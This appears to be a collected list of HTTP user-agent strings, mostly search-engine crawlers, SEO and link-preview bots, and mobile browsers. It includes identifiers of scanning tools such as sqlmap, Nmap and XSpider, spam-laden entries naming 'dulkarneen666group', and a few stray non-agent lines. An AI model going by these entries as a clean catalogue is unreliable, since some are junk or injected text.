admantx-euastn/2.5 (+http://www.admantx.com/service-fetcher.html)
Barkrowler/0.5.1 (experimenting / debugging
Mozilla/5.0 (compatible; JikeSpider; +http://shoulu.jike.com/spider.html)
Mozilla/5.0 (compatible; Yeti/1.1; +http://help.naver.com/support/robots.html)
Mozilla/5.0+(compatible;+Robot/1.3)
Searchie/1.0 (a Storm-based crawler; https://www.searchie.org; admin@searchie.org)
TulipChain/5.x (http://ostermiller.org/tulipchain/) Java/1.x.10x (http://java.sun.com/) Linux/2.4.17
admantx-adform/2.4 (+http://www.admantx.com/service-fetcher.html)
admantx-adform/2.5 (+http://www.admantx.com/service-fetcher.html)
AdMedia bot
Barkrowler/0.9 (+http://www.exensa.com/crawl)
CCBot/1.0 (+http://www.commoncrawl.org/bot.html)
CRAZYWEBCRAWLER 0.9.10 http://www.crazywebcrawler.com
CRAZYWEBCRAWLER 0.9.6 http://www.crazywebcrawler.com
DomainCrawler/3.0 (info@domaincrawler.com; http://www.domaincrawler.com/whatmyip.co)
Mozilla Metadata Service https://github.com/mozilla/page-metadata-service
Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Undrip Bot
Mozilla/5.0 (compatible; Mozilla/5.0 +http://nexstreaming.com)
Mozilla/5.0 (compatible; oBot/2.3.1; +http://filterdb.iss.net/crawler/)
Scrapy/1.1.1 (+http://scrapy.org)
Screaming Frog SEO Spider/9.1
bitlybot
istellabot/t.1.13
JetBrains Omea Reader 2.0 Release Candidate 1 (http://www.jetbrains.com/omeareader/)
Liferea/0.x.x (Linux; enUS.UTF-8; http://liferea.sf.net/)
Mozilla/5.0 (compatible; archive.orgbot; Wayback Machine Live Record; +http://archive.org/details/archive.orgbot)
Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/Img/2.0; +http://go.mail.ru/help/robots)
Mozilla/5.0 (compatible; Orbbot/1.1;)
Mozilla/5.0 (compatible; spbot/4.4.0; +http://OpenLinkProfiler.org/bot )
Mozilla/5.0 (compatible; Steeler/3.5; http://www.tkl.iis.u-tokyo.ac.jp/crawler/)
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.76 Mobile Safari/537.36
serpstatbot/1.0 (advanced backlink tracking bot; curl/7.58.0; http://serpstatbot.com/; abuse@serpstatbot.com)
serpstatbot/2.1 (advanced backlink tracking bot; https://serpstatbot.com/; abuse@serpstatbot.com)
EasouSpider
IlTrovatore-Setaccio/1.2 (http://www.iltrovatore.it/aiuto/faq.html)
LinkMan 1.7 by http://www.phpjunkyard.com
Mozilla/5.0 (compatible; 200PleaseBot/1.0; +http://www.200please.com/bot)
Mozilla/5.0 (compatible; ACHE/Unknown Version; +https://github.com/ViDA-NYU/ache; )
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot)
Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)
Mozilla/5.0 (compatible; MJ12bot/v1.4.7; http://www.majestic12.co.uk/bot.php?+)/Nutch-1.13
Mozilla/5.0 (compatible; WBSearchBot/1.1; +http://www.warebay.com/bot.html)
Mozilla/5.0 (compatible; YaK/1.0; http://linkfluence.com/; bot@linkfluence.com)
Riddler (http://riddler.io/about.html)
Scrapy/1.3.3 (+http://scrapy.org)
: Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
E. Orliac/1.0 (A Patent Crawler; http://scitas.epfl.ch/; etienne.orliac@epfl.ch)
ias-or/3.1 (+https://www.admantx.com/service-fetcher.html)
Mozilla/5.0 (compatible; tracemyfile/1.0; +bot@tracemyfile.com)
Mozilla/5.0 (compatible; Wappalyzer; https://www.wappalyzer.com)
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; CUBOT P9 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0 (FlipboardProxy/1.2; +http://flipboard.com/browserproxy)
Mozilla/5.0 (TweetmemeBot/4.0; +http://datasift.com/bot.html) Gecko/20100101 Firefox/31.0
Slackbot-LinkExpanding (+https://api.slack.com/robots)
Spiderbot/Nutch-1.7
admantx-usasab/3.0 (+http://www.admantx.com/service-fetcher.html)
Mozilla/5.0 (compatible; AddSearchBot; +http://www.addsearch.com/bot/)
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot help@moz.com)
Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)
Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; PR-CY.RU; + https://a.pr-cy.ru)
Mozilla/5.0 (compatible; SearchBot)
Mozilla/5.0 (compatible; spbot/4.2.0; +http://OpenLinkProfiler.org/bot )
Mozilla/5.0+(compatible;+YodaoBot/1.0;+http://www.youdao.com/help/webmaster/spider/;+)
My Nutch Spider/Nutch-1.11
suma spider
crawler4j (https://github.com/yasserg/crawler4j/)
CRAZYWEBCRAWLER 0.9.8 http://www.crazywebcrawler.com
Mozilla/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 6.0 Robot)
Mozilla/5.0 (compatible; uMBot-FC/1.0; mailto: crawling@ubermetrics-technologies.com)
Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0 (IndeedBot 1.1)
Mozilla/5.0 (Windows; U; Windows NT 5.1; ar; rv:1.9.1) Gecko/20090624 Firefox/3.5%https://dulkarneen666group.us.suhlen&noredirectI UssU I http://dulkarneen666group.us.suhlen&noredirectI UssU I ftp://dulkarneen666group.us.suhlen&noredirectI UssU I https://
admantx-ussy04/3.2 (+http://www.admantx.com/service-fetcher.html)
http://www.checkprivacy.or.kr:6600/RS/PRIVACYENFAQ.jsp
magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; LYCOSA; http://lycosa.se)
Mozilla/5.0 (compatible; Dataprovider/6.92; +https://www.dataprovider.com/)
Mozilla/5.0 (compatible; EmailMarketingRobot/2.1; +http://www.emailmarketingrobot.com/webmasters/)
Mozilla/5.0 (compatible; FemtosearchBot/1.0; http://femtosearch.com)
Mozilla/5.0 (compatible; Findxbot/1.0; +http://www.findxbot.com)
Mozilla/5.0 (compatible; HubSpot Crawler; +https://www.hubspot.com)
Mozilla/5.0 (compatible; PrivacyAwareBot/1.1; +http://www.privacyaware.org)
Mozilla/5.0 (compatible; Seekport Crawler; http://seekport.com
Mozilla/5.0 (compatible; SiteExplorer/1.1b; +http://siteexplorer.info/Backlink-Checker-Spider/)
Mozilla/5.0 (compatible; WebDataStats/1.0 ; +https://webdatastats.com/policy.html)
Mozilla/5.0 (compatible; YandexUserproxy; robot; +http://yandex.com/bots)
Scrapy/0.24.4 (+http://scrapy.org)
SemrushBot/0.91
SEOENGWorldBot/1.0 (+http://www.seoengine.com/seoengbot.htm)
Timpibot/0.9 (+http://www.timpi.io)
XoviBot/2.0
360Spider
Drupal (+http://drupal.org/)
HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)
Mozilla/5.0 (compatible; Dataprovider/6.101; +https://www.dataprovider.com/)
Mozilla/5.0 (compatible; EasouSpider; +http://www.easou.com/search/spider.html)
Mozilla/5.0 (compatible; heritrix/3.3.0-SNAPSHOT-20140502-2251 +http://archive.org/details/archive.orgbot)
Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)
Mozilla/5.0 (compatible; Linux; Socialradarbot/2.0; en-US; bot@infegy.com)
Mozilla/5.0 (compatible; Lipperhey-Kaus-Australis/5.0; +https://www.lipperhey.com/en/about/)
Mozilla/5.0 (compatible; MixrankBot; crawler@mixrank.com)
Mozilla/5.0 (compatible; ScoutJet; +http://www.scoutjet.com/)
Mozilla/5.0 (compatible; SemrushBot/1~bl; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; YandexMetrika/2.0; +http://yandex.com/bots)
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; SonyEricssonR800xhttp://www.sonyericsson.com/UAprof/R800xR301.xml Build/3.0.1.E.1.44) AppleWebKit/533.1 (KHTML like Gecko) Version/4.0 Mobile Safari/533.1
Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; Jobboerse.com; http://www.xn--jobbrse-d1a.com) Gecko/20100401 Firefox/24.0
TurnitinBot (https://turnitin.com/robot/crawlerinfo.html)
Crowsnest/0.5 (+http://www.crowsnest.tv/)
DLESpider.exe
ias-va/3.3 (former https://www.admantx.com + https://integralads.com/about-ias/)
Iframely/0.8.5 (+http://iframely.com/;)
LinkedInBot/1.0 (compatible; Mozilla/5.0; Jakarta Commons-HttpClient/3.1 +http://www.linkedin.com)
MauiBot (crawler.feedback+dc@gmail.com)
Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/Favicons/2.0; +https://help.mail.ru/webmaster/indexing/robots)
Mozilla/5.0 (compatible; spbot/4.0.5; +http://www.seoprofiler.com/bot )
Mozilla/5.0 (Linux; Android 4.4.2; GLX SpiderI Build/KOT49H) AppleWebKit/537.36 (KHTML like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/40.0.2214.93 Safari/537.36 XaxisSemanticsClassifier/1.0 http://crystalsemantics.com
Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5 (+http://www.kangaroo-personal.de)
Mozilla/5.0 (X11; U; Linux x8664; en-US; rv:1.9.0.5) Gecko/2010033101 Gentoo Firefox/3.0.5 (Dot TK
Mozilla/5.0+(compatible;+PiplBot;+http://www.pipl.com/bot/)/Nutch-1.14-SNAPSHOT
netEstate NE Crawler (+http://www.website-datenbank.de/)
NinjaBot/2.0 (+http://www.imninjas.com)
Scrapy/1.8.0 (+https://scrapy.org)
SearchBot
TinEye-bot/0.02 (see http://www.tineye.com/crawler.html)
TulipChain/5.xx (http://ostermiller.org/tulipchain/) Java/1.x.10x (http://apple.com/) MacOSX/10.2.8
Yeti/1.1 (Naver Corp.; http://help.naver.com/robots/)
"Mozilla/5.0 (compatible; Sosospider/2.0; +http://help.soso.com/webspider.htm)"
admantx-adform/3.1 (+http://www.admantx.com/service-fetcher.html)
admantx-sap/2.4 (+http://www.admantx.com/service-fetcher.html)
coccoc/1.0 (http://help.coccoc.com/)
Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)
CRAZYWEBCRAWLER 0.9.9 http://www.crazywebcrawler.com
eSyndiCat Bot
IAS crawler (ias_crawler; http://integralads.com/site-indexing-policy/)
Java 1.7 Apache HttpClient (Linux x86_64) / GnowitNewsbot / Contact information at http://www.gnowit.com
Mozilla/5.0 (compatible; DataXu/1.0; +http://dataxu.com)
Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1) KomodiaBot/1.0
Mozilla/5.0 (compatible; SemrushBot/0.98bl; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; startmebot/1.0; +http://www.start.me/bot)
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 4.2.2; fa-ir; GLX SpiderI Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
RyteBot/1.0.0 (+https://bot.ryte.com/)
Screaming Frog SEO Spider/2.55
Screaming Frog SEO Spider/6.2
ssearchbot (sSearch Crawler; http://www.semantissimo.de)
WeSEE_Bot:we_help_monitize_your_site (http://www.wesee.com/bot/)
WordPress.com; https://seonumber1blog.wordpress.com
bitlybot/3.0 (+http://bit.ly/)
CCBot/1.0 ( http://www.commoncrawl.org/bot.html)
FAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler)
Grammarly/1.0 (http://www.grammarly.com)
ias-ir/3.1 (+https://www.admantx.com/service-fetcher.html)
ichiro/3.0 (http://search.goo.ne.jp/option/use/sub4/sub4-1/)
Mechanize/2.7.3 Ruby/1.9.3p551 (http://github.com/sparklemotion/mechanize/)
Mozilla/5.0 (compatible; AhrefsBot/5.2; News; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; AhrefsSiteAudit/6.1; +http://ahrefs.com/robot/site-audit)
Mozilla/5.0 (compatible; oBot/2.3.1; http://filterdb.iss.net/crawler/)
Mozilla/5.0 (compatible; proximic; +https://www.comscore.com/Web-Crawler)
Mozilla/5.0 (compatible; SearchmetricsBot; http://www.searchmetrics.com/en/searchmetrics-bot/)
Mozilla/5.0 (compatible; SemrushBot-BM/1.0; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; SemrushBot/0.95; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; TweetedTimes Bot/1.0; +http://tweetedtimes.com)
Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_J3 Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.0; trendictionbot0.5.0; trendiction search; http://www.trendiction.de/bot; please let us know of any problems; web at trendiction.com) Gecko/20071127 Firefox/50.0
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 http://notifyninja.com/monitoring
Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; https://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0
Scrapy/2.8.0 (+https://scrapy.org)
serpstatbot/1.0 (advanced backlink tracking bot; http://serpstatbot.com/; abuse@serpstatbot.com)
Snap URL Preview Service; bot; snapchat; https://developers.snap.com/robots
admantx-apacas/2.4 (+http://www.admantx.com/service-fetcher.html)
facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)
GridBot/1.0 crawler@sysomos.com
http://www.checkprivacy.or.kr:6600/RS/PRIVACYFAQ.jsp
Huaweisymantecspider (compatible; MSIE 8.0; DSE-support@huaweisymantec.com)
ias-ie/3.3 (former https://www.admantx.com + https://integralads.com/about-ias/)
Mechanize/2.7.2 Ruby/2.1.3p242 (http://github.com/sparklemotion/mechanize/)
MixBot (+http://t.co/GSRLLKex24)
Mozilla/5.0 (compatible; 4SeoHuntBot; +http://4seohunt.com/bot.html)
Mozilla/5.0 (compatible; AhrefsBot/5.2; SA; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) [ip:195.154.123.122]
Mozilla/5.0 (compatible; AhrefsBot/7.0; SA; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; MerchantCentricBot/1.0)
Mozilla/5.0 (compatible; Snacktory; +https://github.com/karussell/snacktory)
Mozilla/5.0 (compatible; sp_auditbot/5.0; user ece88b8bec391574/fcca83fa2046e161; +https://www.seoprofiler.com/auditbot )
Mozilla/5.0 (compatible; woobot/2.0; +https://www.woorank.com/bot)
Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) YTranslate
Mozilla/5.0 (compatible;Linespider/1.1;+
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus Build/O00623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 4.2.1; es-es; CUBOT ONE Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 XaxisSemanticsClassifier/1.0 http://crystalsemantics.com
Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.3 (KHTML like Gecko) Maxthon/3.3.1.1200 Chrome/16.0.883.0 Safari/535.3I Greetings I UssU.DULKARNEEN666GROUP.UssU I Greetings I https://dulkarneen666group.us.suhlUssU I http://dulkarneen666group.us.suhlUssU I ft
Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0
My Nutch Spider/Nutch-1.6
Re-re Studio (+http://re-re.ru/)
SemrushBot
WordPress.com mShots; http://support.wordpress.com/contact
WordPress.com; https://freedownloadcodes.wordpress.com
Zing-BottaBot/2.0
** @file * IPRT / No-CRT
admantx-apacas/2.5 (+http://www.admantx.com/service-fetcher.html)
GrepNetstat.com Bot/1.0; +http://www.grepnetstat.com)
http://www.msai.in/uaprof/micromax/X103.xml
HubSpot Connect 2.0 (http://dev.hubspot.com/)
MBCrawler/1.0 (https://monitorbacklinks.com)
Mozilla/5.0 (compatible; AhrefsBot/6.1; News; +http://ahrefs.com/robot/)
Mozilla/5.0 (compatible; Arachnophilia/1.0; +http://arachnys.com/)
Mozilla/5.0 (compatible; archive.org_bot; Wayback Machine Live Record; +http://archive.org/details/archive.org_bot)
Mozilla/5.0 (compatible; Blekkobot; ScoutJet; +http://blekko.com/about/blekkobot)
Mozilla/5.0 (compatible; Charlotte/1.1; http://www.searchme.com/support/)
Mozilla/5.0 (compatible; EmailMarketingRobot/2.1; +http://www.email-marketing-robot.com/webmasters/)
Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)
Mozilla/5.0 (compatible; Plukkie/1.6; http://www.botje.com/plukkie.htm)
Mozilla/5.0 (compatible; SemrushBot; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; sharegloobot/1.0; +http://www.sharegloo.com)
Mozilla/5.0 (compatible; U; WPDASH-UpChronic/1.0; +http://wpdash.io/)
Mozilla/5.0 (compatible; vkShare; +http://vk.com/developers.phpoid-1&pShare)
Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4 moatbot
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/49.0.2623.105 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 4.3; ru-ru; Spider Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Windows NT 6.1; compatible; BDCbot/1.0; +http://bigweb.bigdatacorp.com.br/faq.aspx) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML like Gecko) Chrome/30.0.1599.101 Safari/537.36; SSL-Crawler: http://crawler.dcsec.uni-hannover.de
niki-bot
omgili/0.5 +http://omgili.com
OpenWebSpider v0.1.4 (http://www.openwebspider.org/)
OSS-bot/0.02 (see http://michaelnielsen.org/blog/oss-bot/ or contact Michael Nielsen mn@michaelnielsen.org)
PhxBot/0.1 (phxbot@protonmail.com)
rogerbot/1.0 (http://moz.com/help/pro/what-is-rogerbot- rogerbot-wherecat@moz.com)
spyder/Nutch-2.1 (just another internet crawler; http://www.paloaltonetworks.com/products/features/url-filtering.html; ghalevy@paloaltonetworks.com)
TipTop http://feeltiptop.com
yunusbot/1.0
AddThis.com robot tech.support@clearspring.com
Barkrowler/0.9 (+https://babbar.tech/crawler)
BOT/0.1 (BOT for JCE)
CCBot/2.0 (+http://www.commoncrawl.org/bot.html)
DomainCrawler/3.0 (info@domaincrawler.com; http://www.domaincrawler.com/gcoupon.com)
DomainCrawler/3.0 (info@domaincrawler.com; http://www.domaincrawler.com/steelads.com)
GentleSource Short URL Checker ( http://www.gentlesource.com/ )
LivelapBot/0.2 (http://site.livelap.com/crawler)
Mechanize/2.7.2 Ruby/2.1.2p95 (http://github.com/sparklemotion/mechanize/)
MLBot (www.metadatalabs.com/mlbot)
Mozilla-Firefox-Spider(Wenanry)
Mozilla/4.0 (compatible; focuseekbot)
Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; obot)
Mozilla/5.0 (compatible; alexa site audit/1.0; +http://www.alexa.com/help/webmasters; )
Mozilla/5.0 (compatible; GrepNetstatBot/1.0; +http://www.grepnetstat.com/bot)
Mozilla/5.0 (compatible; heritrix/1.14.4 +http://netarkivet.dk/webcrawler)
Mozilla/5.0 (compatible; heritrix/3.3.0 +http://netarkivet.dk/webcrawler/)
Mozilla/5.0 (compatible; Kraken/0.1; http://linkfluence.net/; bot@linkfluence.net)
Mozilla/5.0 (compatible; LinkisBot/1.0; bot@linkis.com)
Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php+)
Mozilla/5.0 (compatible; redditbot/1.0; +http://www.reddit.com/feedback)
Mozilla/5.0 (compatible; SBIntuitionsBot/0.1; +https://www.sbintuitions.co.jp/bot/)
Mozilla/5.0 (compatible; SemrushBot-SWA/0.1; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; SemrushBot/0.96.2; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; spbot/3.0; +http://www.seoprofiler.com/bot )
Mozilla/5.0 (compatible; spbot/4.0.1; +http://www.seoprofiler.com/bot )
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.126 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT R9 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT X18 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 4.2.1; de-de; CUBOT ONE Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; es-es; CUBOT P9 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Windows NT 6.1; Win64; x64) KomodiaBot/1.0
Mozilla/5.0 (WordPress.com; http://support.wordpress.com/contact)
Mozilla/5.0 (X11; Linux x8664) AppleWebKit/535.21 (KHTML like Gecko) Chrome/19.0.1042.0 Safari/535.21 PagePeeker/2.1; +http://pagepeeker.com/robots
MTRobot/0.2 (Metrics Tools Analytics Crawler; https://metrics-tools.de/robot.html; crawler@metrics-tools.de)
Scrapy/1.3.1 (+http://scrapy.org)
Screaming Frog SEO Spider/5.1
serpstatbot/2.0 beta (advanced backlink tracking bot; http://serpstatbot.com/; abuse@serpstatbot.com)
sqlmap/1.1.4#stable (http://sqlmap.org)
Superarama.com
ThumbSniper (http://thumbsniper.com)
Twikle/1.0 http://twikle.com contact@twikle.com
uipbot/1.0 (uipbot@semasio.net)
Yandex/1.01.001 (compatible; Win16; ShopChecker); http://market.yandex.ru; support@market.yandex.ru
YOURLS v1.5 +http://yourls.org/ (running on http://wsi4.me)
admantx-ussy04/3.1 (+http://www.admantx.com/service-fetcher.html)
Chimu/1.0 robot (http://www.80.cm/bot.htm)
Easy-Thumb (https://www.easy-thumb.net/)
EasyBib AutoCite (http://autocite-info.citation-api.com/)
GarlikCrawler/1.2 (http://garlik.com/ crawler@garlik.com)
HTTPRequest2/2.1.1 (http://pear.php.net/package/httprequest2) PHP/5.3.2-1ubuntu4.18
ias-sg/3.1 (+https://www.admantx.com/service-fetcher.html)
InAGist URL Resolver (http://inagist.com)
Keybot Translation-Search-Machine
MetaCommentBot; http://metacomment.io/about
MJ12bot
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 7.0) XSpider 7
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; WebMoney Advisor; MRA 5.6 (build 03402); RadioClicker http://radioclicker.com; .NET CLR 1.1.4322; InfoPath.1; FDM)
Mozilla/5.0 (compatible; Abonti/0.91
Mozilla/5.0 (compatible; BitSightBot/1.0)
Mozilla/5.0 (compatible; eright/1.0; +bot@eright.com)
Mozilla/5.0 (compatible; ExtLinksBot/1.5; +https://extlinks.com/Bot.html)
Mozilla/5.0 (compatible; FriendFeedBot/0.1; +Http://friendfeed.com/about/bot)
Mozilla/5.0 (compatible; heritrix/1.14.3 +http://www.accelobot.com)
Mozilla/5.0 (compatible; Mail.RUBot/2.0; +http://go.mail.ru/help/robots)
Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; NetpeakCheckerBot/3.1; +https://netpeaksoftware.com/checker)
Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)
Mozilla/5.0 (compatible; SemrushBot/0.96.4; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; SemrushBot/0.98~bl; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; spbot/4.0.2; +http://www.seoprofiler.com/bot )
Mozilla/5.0 (compatible; uCrawlr/1.0 ; +https://blog.ucoz.ru/upolicy)
Mozilla/5.0 (compatible; uptimebot/2.0; +http://www.uptimetracker.com/)
Mozilla/5.0 (compatible; YandexWebmaster/2.0; +http://yandex.com/bots)
Mozilla/5.0 (Linux; Android 4.4.2; GLX Spider1S Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.132 Mobile Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; BDCbot/1.0; +http://bigweb.bigdatacorp.com.br/faq.aspx) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; compatible; BDCbot/1.0; +http://ecommerce.bigdatacorp.com.br/faq.aspx) AppleWebKit/535.1 (KHTML like Gecko) Chrome/13.0.782.107 Safari/535.1
Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 AutoPager/0.5.2.2 (http://www.teesoft.info/)
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
PagePeeker.com (info: http://pagepeeker.com/robots)
Re-re Studio (+http://2re.site/)
